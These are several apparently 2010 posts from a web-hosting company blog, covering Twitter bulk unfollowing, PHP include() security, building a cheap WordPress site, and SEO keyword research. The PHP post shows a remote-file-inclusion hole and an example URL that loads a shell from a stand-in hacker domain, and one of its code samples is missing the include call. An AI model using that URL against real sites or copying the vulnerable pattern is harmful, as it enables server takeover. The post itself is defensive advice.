I haven’t “tweeted” for a long time. I joined Twitter on the general bandwagon last year, downloaded and installed TweetDeck – and pretty much forgot about it. I did turn on Auto-Follow via SocialOomph though. So a year later I have 3,000 followers and maybe 50 are HostNexus clients and people I know. So 2,950 people have followed me for the sole reason of spamming me with links to their sites. They don’t care what I say because, well, I say very little. If I’m ever going to really use Twitter I need to follow only those I have a general interest in following and that is people I choose to follow and any past, present or prospective clients of HostNexus.

So today I went on a mission to purge my Twitter account.

As most people in Twitterdom know, there are thousands of apps that help you manage your Twitter account, so I thought that mass unfollowing on Twitter was going to be pretty simple. I tried several tools but all either had no Bulk Unfollow option or no Select All option. I started hitting Unfollow on people on Twitter Karma but that got real old after about 100 clicks. I then start hitting checkboxes on Tweepi and Untweeps but another 150 clicks later my right index finger started to cramp up in a death grip from hell. But both Tweepi and Untweeps do not list all your followers so it was kind of pointless anyhow. I then found ManageFlitter which listed all your followers in pages of 100 with checkboxes, but of course no Select All option.

I did some digging and found out that Twitter had put their foot down on Mass Unfollowing in April of this year (2010). All applications either had to remove Bulk Unfollow options or the Select All option to continue to operate within Twitter’s update TOS. Pretty ridiculous. I can understand enforcing a Bulk Unfollow option but telling developers to remove a “Select All” option? Very weird. But it got me thinking. The Select All thing is just a JavaScript call and happens in your browser so surely there should be a nifty little FireFox plugin that allows me to Select All?

Yes! There is.

A plugin is available for FireFox 3.0 called Check All but it doesn’t work in FireFox 3.6 that I’m currently using. After another plugin search I found an experimental plugin which is an updated version of Check All and you can find it here. There is another one here (thanks backy). Mozilla will give you all types of warnings about the first plugin, saying it hasn’t been verified and that your computer might grow legs and jump out the window if you install it. It works just fine. Install it. Restart FireFox, rawr.

Next go to ManageFlitter and login via Twitter Oauth. Click “Show All” and you’ll be presented with a list of your followers in pages of 100 with a checkbox next to each and an Unfollow button on the left. Hit Ctrl+A (Select All, yes baby), right click on a highlighted area and you’ll see the new plugin option “Check All Selected Checkboxes”, click Unfollow.

Unfollowing 100 people on Twitter in one go is a beautiful thing to behold.

Click Next, Ctrl+A, Right Click, Select All Checkboxes, Unfollow. Boom, another 100 Tweeps bite the dust. Rinse and repeat. I got it down to 5 seconds per page, that’s a 1,000 in under a minute. Bye Tweeps.

P.S. If you’re one of the 12 invisible people I’m still following….my hat goes off to you for evading the purge.

P.P.S. Damn, those Unfollow programs are quick. 600 people auto-unfollowed me already!. I’m crushed. :p

Post from: HostNexus Blog

How To Bulk Unfollow On Twitter in Minutes

Including files with PHP is a common practice and most usage comes in 2 forms. These are including internal files from your own domain and including files from remote (external) sources. This looks something like:

Internal:

< ?php
   include("http://www.myowndomain.com/something.txt");
?>

External:

< ?php
   include("http://www.externaldomain.com/something.txt");
?>

Both are valid syntax in the PHP world but there are two main problems we see on the servers. Sometimes when you include a file using the the URL of your local domain you can cause a PHP loop that initiates endless HTTP requests which causes server load issues and even a server crash due to the load. If you want to include files from your local domain you just need to use the server path instead:

< ?php
   ('/home/httpd/vhosts/myowndomain.com/httpdocs/something.txt');
?>

And now onto using include() for calling external files:

< ?php
   include("http://www.externaldomain.com/something.txt");
?>

The main problem with include() is that runs everything through the PHP parser and evaluates code. The main problem comes from setting a variable for include() which can be easily exploited. Here is an example of code in an index.php:

< ?php
    echo "<html>\n";
    echo "  <body>\n";
    include("$go");
    echo "  </body>\n";
    echo "\n";
?>

The $go variable above is easily exploited like:

http://myowndomain.com/index.php?go=http://www.hackerdomain.com/shell.txt

The hacker can now execute commands on your files, installing phishing sites, sending spam and stealing data.

If you want to include files from remote domains use PHP’s readfile() function instead:

http://www.php.net/manual/en/function.readfile.php

While not 100% secure it still provides more protection as readfile() simply outputs data to a browser rather than parsing everything as PHP.

We’d love to enforce the two practices above but we also understand not everyone is happy modifying code. However, if you know you use includes and have even a simple understanding of these fuctions then please do revisit your code and help yourself to secure your data and server.

Laurence

Post from: HostNexus Blog

PHP Security and YOU – Including files the right way

Ten or even five years ago putting up a website was expensive and took time. But times have changed and time, money and skills (or lack thereof) are no longer obstacles would-be webmasters have to deal with. If you’ve ever thought about getting a nice website online but have always dreaded the task, here are my 7 Steps To Get Online.

1) Register Your Domain Name

This is always the starting point for any new website project. Your website will need a name so register domain. This will be less than $15 for teh year. HostNexus, for example, sells .com domains for $12.95/yr from our registry site NexusDomains. Unless you are looking for a specific country TLD such as .com.au or .co.uk then I always recommend you try and get the .com AND the .net. Usually if a .com is registered and in use I would not register the .net to ensure against brand dilution but there are always exceptions (such as our NexusDomains on a .net).

2) Get Some Simple Web Hosting

We’ll be using WordPress and this works best on Linux Hosting. So before you start find a Cheap Hosting plan such as our entry level nexusONE plan. This will be your first expense and will cost you less than $50 for the year. You could even cut down costs more and get hosting on a monthly plan but the yearly costs will usually end up being more (such as $7.95/mo).

2) Install WordPress

WordPress is the de-facto blogging software these days but it is much more than a blog. WordPress has evolved into a full-blown Content Management System (CMS) and the possibilities with it are endless. Installing it is incredibly simply and mosts (including HostNexus) provide an auto-installer for many popular programs including WordPress. If you have issues with the install your hosting company will certainly assist you (if not, well you should be with HN of course).

3) Find And Install A WordPress Theme

This is where the fun starts. A WordPress theme these days is much more than a simple skin for WordPress. The theme will control a lot of your site’s functionality as WordPress developers include many custom scripts and programs with their themes. The best place on the internet for WordPress themes is undoubtedly ThemeForest. There are literally hundreds of amazing themes there and more are added almost daily. ThemeForest is a place where developers showcase their work so there are many developers and most provide good support in Q&A threads on their showcase pages. I have personally bought 3 themes there for personal project and recommend it highly. Themes vary in price with $35 being the most expensive so not very expensive at all.

Theme install comprises of uploading the theme folder and activating it in the WordPress admin panel. Easy stuff that we love.

So to recap we have $12.95 for a domain name, less than $47.40 for hosting and $35 max for a theme. We are at under $100 and a few hours into our project.

4) Find A Logo Designer

Having a great logo is essential for all corporate sites and recommended even for personal sites. You could spend literally hundreds of dollars on a logo for your site but that is just not necessary. When I start up a new site I normally hire 3 different logo designers so I many concepts to choose from. Last year I hired 4 logo designers for a project ranging from $20 to $200 per designer. And believe it or not I ended up choosing a logo developed for $29. Here are a few designers I’ve worked with and all cost less than $30:

• 19dollarlogos.com
• iigfx.net
• 20dollarlogo.com
• logonerds.com

Find a designer that will include at least 2 different concepts. For best results hire 2 different designers so you get at least 4 fresh concepts.

5) Find A WordPress Designer

So you have your domain, hosting, installed WordPress, purchased a great theme and you have a nice logo. However, it is unlikely that your theme will be exactly the way you want it. You may want to change a colour here, put an image there, add a button over there, customise the styling on this or that page. As you play around with your WordPress install and upload content you’ll start to formulate a list of things that you want to change. And it’s always a good idea to change your theme a bit so that your design is unique as it’s likely that 50 or 100 other sites might be using the same theme. So the final step is to find a designer that will do all of your modifications. I usually find designers on . Post a thread in the Buy/Sell > Services > Design forum and wait for offers. Generally you can get small WordPress theme modifications done for around $50. Select your provider carefully! Choose a designer with an established website with portfolio and lots of positive feedback as there are a few unsavoury and unreliable people haunting the forum. Arrange to pay half in advance and half on completion of the job. Payment is always by PayPal.

6) Publish Your Content

You can start plugging in your content as soon as you’ve installed WordPress and can continue while designers work on your logo and WordPress modifications. Publish your pages and articles and you’re done!

And there you have it. A professional, great looking website complete with logo online in less than a week and less than a $199. So what’s stopping you? Get out there and start building your online presence. Who knows where it will lead you.

Post from: HostNexus Blog

How To Get A Professional Website Online Within One Week, For Less Than $199, And No Design Experience

There is too much “do what I say and not what I do” on the internet so to prove I am practising what I preach here is a little case study. I’m detailing keyword terms I’m targetting, where we stood at the beginning and will update regularly (maybe once a month) to see how we are getting on.

Few things to point out though:

1) I’m a busy business owner and my day is filled with the normal tasks that need doing in order to run the company. So I’m just like anyone that does DIY SEO – time is an issue. I try and do something SEO related everyday though, whether it be link building or content generation – but I certainly don’t do something every single day. HostNexus does well on general organic traffic and good rankings in the engines is just a bonus in my mind.

2) I’m in no rush. As I said above, HN does well without traffic from Google et al.

3) When we relaunched on March 9th any on-site optimisation was completely scrapped. For instance we used to target “Reseller Hosting” on the home page but now I’m targetting that on the /solutions/reseller-hosting.php page. On a search for that term Google is still returning a home page result even though the term doesn’t appear on that page in an optimised way. So it’s going to take some time for those types of changes to take effect.

4) I am checking the results with the SEO Book Rank Checker that is built into the SEO for FireFox toolbar.

So I’m starting to see movement, some good, some not so good but all I’ve done is rearrange pages and a little bit of link building (which I doubt is having an affect yet).

Post from: HostNexus Blog

SEO Case Study: HostNexus

So you now have your Keyword list. Before you start on the next steps in your SEO Strategy you need to work out if the keywords are attainable. There is no point optimizing your site your site for a keyword in an extremely competitive niche where all the top rankers are large, authoritive sites with a huge amount of backlinks. Later on in the series I’ll be giving you tips on how to get decent links from over 500 sites so also take that into account if you are going to follow this course through till the end. And if all goes to plan those 500 or so links will produce a lot more links.

Before you start you are going to need these two tools:

SEO Toolbar
SEO For Firefox

You need FireFox so if you don’t use that (you heathens) then please download and install. These tools are really awesome and they come from one of the top names in Search Engine Optimization – SEObook.com. Once you’ve downloaded and installed the two tools power up FireFox and google.com in 2 tabs. Turn on the SEO For FireFox extension and in one browser window do a search for one or your keywords and in the other browser do a search for your site.

Just before we launched our new site on March 9th I hadn’t touched SEO elements on the old site in many years. I will use Reseller Hosting as an example again as I did with the Wordtracker. As you can see by using the Rank Checker tool on the SEO Toolbar we rank at #51 just before the site launch:

Three weeks later and we are hovering around 42 and Google is still returning a home page result for that term and the home page isn’t optimized at all for it. So when Google settles down for us I believe we’ll see a big jump. But I’m already seeing results in my SEO re-organization.

Okay, so in one browser tab I have the Google search results for hostnexus.com and in the other I have the SERP for Reseller Hosting. Looking at the result for HN these are the important metrics for now:

PR 4
Age: 2002
Y! Links: 4,830
Majestic SEO LinkDomain: 3,480

The Age metric is a bit buggy as it shows for some and not others. The figure comes from web.archive.org and connections to that service are sometimes rough. I’ve actually seen an improvement in recent weeks and I hear archive.org is getting its own data center built (awesome). But if you can get the age of a site it is another thing to consider as Google uses it in its ranking algorithm.

PR (Page Rank) I guess we all know. Y! Links are how many pages (not domains) indexed in Yahoo’s search engine that link to the domain. This number is to be used as a guide as it NOT accurate. Majestic SEO is another tool that the SEO For FireFox program uses. Again, use as a guide

In my opinion a Page 1 ranking is not enough. For real value you need to be the top #5 results so my first step is to compare the stats for HN with the top 5 listings. Here are the top 5 as of now:

www.hostgator.com/resellers.shtml
PR 7
Age: 10/2002
Y! Links: 1,790,00 (Y! Pages 1,100)
Majestic SEO LinkDomain: 41,897
 
www.premiumreseller.com
PR 4
Age: 11/2005
Y! Links: 5,620
Majestic SEO LinkDomain: 1,775
 
www.5shadesreseller.com
PR 4
Age: 12/2006
Y! Links: 27,700
Majestic SEO LinkDomain: 941
 
www.resellerspanel.com
PR 5
Age: 05/2003
Y! Links: 248,100
Majestic SEO LinkDomain: 10,905
 
www.hostdime.com
PR 6
Age: 05/2002
Y! Links: 5,810
Majestic SEO LinkDomain: 8,042

(I listed the Y! Pages stat for HostGator as their result is a sub-page so how many links pointing to the page is an important metric)

Our Y! Links number is low at 4,830. Before the relaunch it was over 25,000. This is due to NexusPortal being shut down and the engines having to reindex our forum. At first glance I would think that the top spot might be out my reach for now. HostGator’s link pop is outrageous. But to see PremiumReseller outrank the others makes me think that in the future, with some intense link building, even the #2 slot is attainable as it has less inbound links and lower PR than those below it. But these stats alone are not enough to give us the full story.

Backlink Analyzing

If you’re serious about competing in competive niches (like web hosting) you need to analyze the inbound links of the guys at the top. Knowing how many links is not enough. You need to know where these links are coming from and most importantly, you need to know about anchor text and how many links a competitor has continue the target term as anchor text. And unfortunately there not many tools that provide this data for free. You can use Yahoo’s API and get their info but as I said above – it isn’t accurate. Also tools using Yahoo’s API have limitations (on results and how many times data can be accessed). I have thought about making such a tool as a few I found seem to be broken but I am certain such a tool, if it became popular, would be a huge drain on server resources. Anyhow, maybe more on that at another time.

There are a few paid tools out there and I’ve tested a few but the cream of the crop is LinkScape. It has a limited free option but to get the meaningful data you need to be an SEOmoz Pro member (and I am). It is $80/mo but if there was one thing you had to invest in for your SEO efforts this should be it. You get alot of other stuff with Pro membership but LinkScape is the big daddy of SEO tools. At a glance you can tell where your competitor’s links are coming from and what anchor text is being used so you can easily see what type of link building work you need to do and how much of it.

I can see 5shadesreseller has about 1000 domains pointing to it and I know they all have “Reseller Hosting” in the anchor text. I know exactly how they got all those links via a very clever ploy that I think I’m going to copy (heh). HostGator has about 760 links from original domains with the Reseller Hosting anchor text.

So yep, you really need a tool that can analyze backlinks. LinkScape is its own search engine really. It doesn’t use any 3rd party data, it’s all spidered by the LinkScape bots. It updates monthly now and it’s getting quicker all the time and each update goes deeper. It also has its own metrics like mozRank that VERY closely mirror Google’s own PageRank. In fact they seem to have nailed Google’s trust algorithms to a tee.

On-Page Optimization

Next thing to do is take a look at each site, see how it’s optimized and get more info. But on your own site these are all factors firmly within your control so no matter how well optimized a site is, you can do the same.

On the SEO Toolbar you can highlight the keyword text to see how many times the term appears and where it appears. We will also be going into these On-Page optimization techniques later in the series. But basically the rule is the keyword in the title, in one of the first words on the page, in an h1 tag and a few times elsewhere on the page. You can easily check the page to see how well it is optimized and check the source code for h1 tag usage. But these aren’t factors to consider when selecting what keywords to target.

Final Words

Look out for sites with low PR with lots of links. This means that Google thinks the links are poor so if you collect good links it might be easy to outrank such sites. By working out a site’s link popularity and quality vs your own site’s link popularity and quality you can work out your chances of competing for a keyword. So research the SERP (Search Engine Ranking Page) for each keyword and see which are viable. Aim for two or three keyword terms per target page. If they are combinations of a primary core term that works even better. If you have a keyword term of “blue widget” for example and “cheap blue widget” is also a high value term the On-Page optimization techniques when combining the two will look more natural.

So now you can work out what keywords to target. Simple, right?

Post from: HostNexus Blog

Keyword Research – So Now What?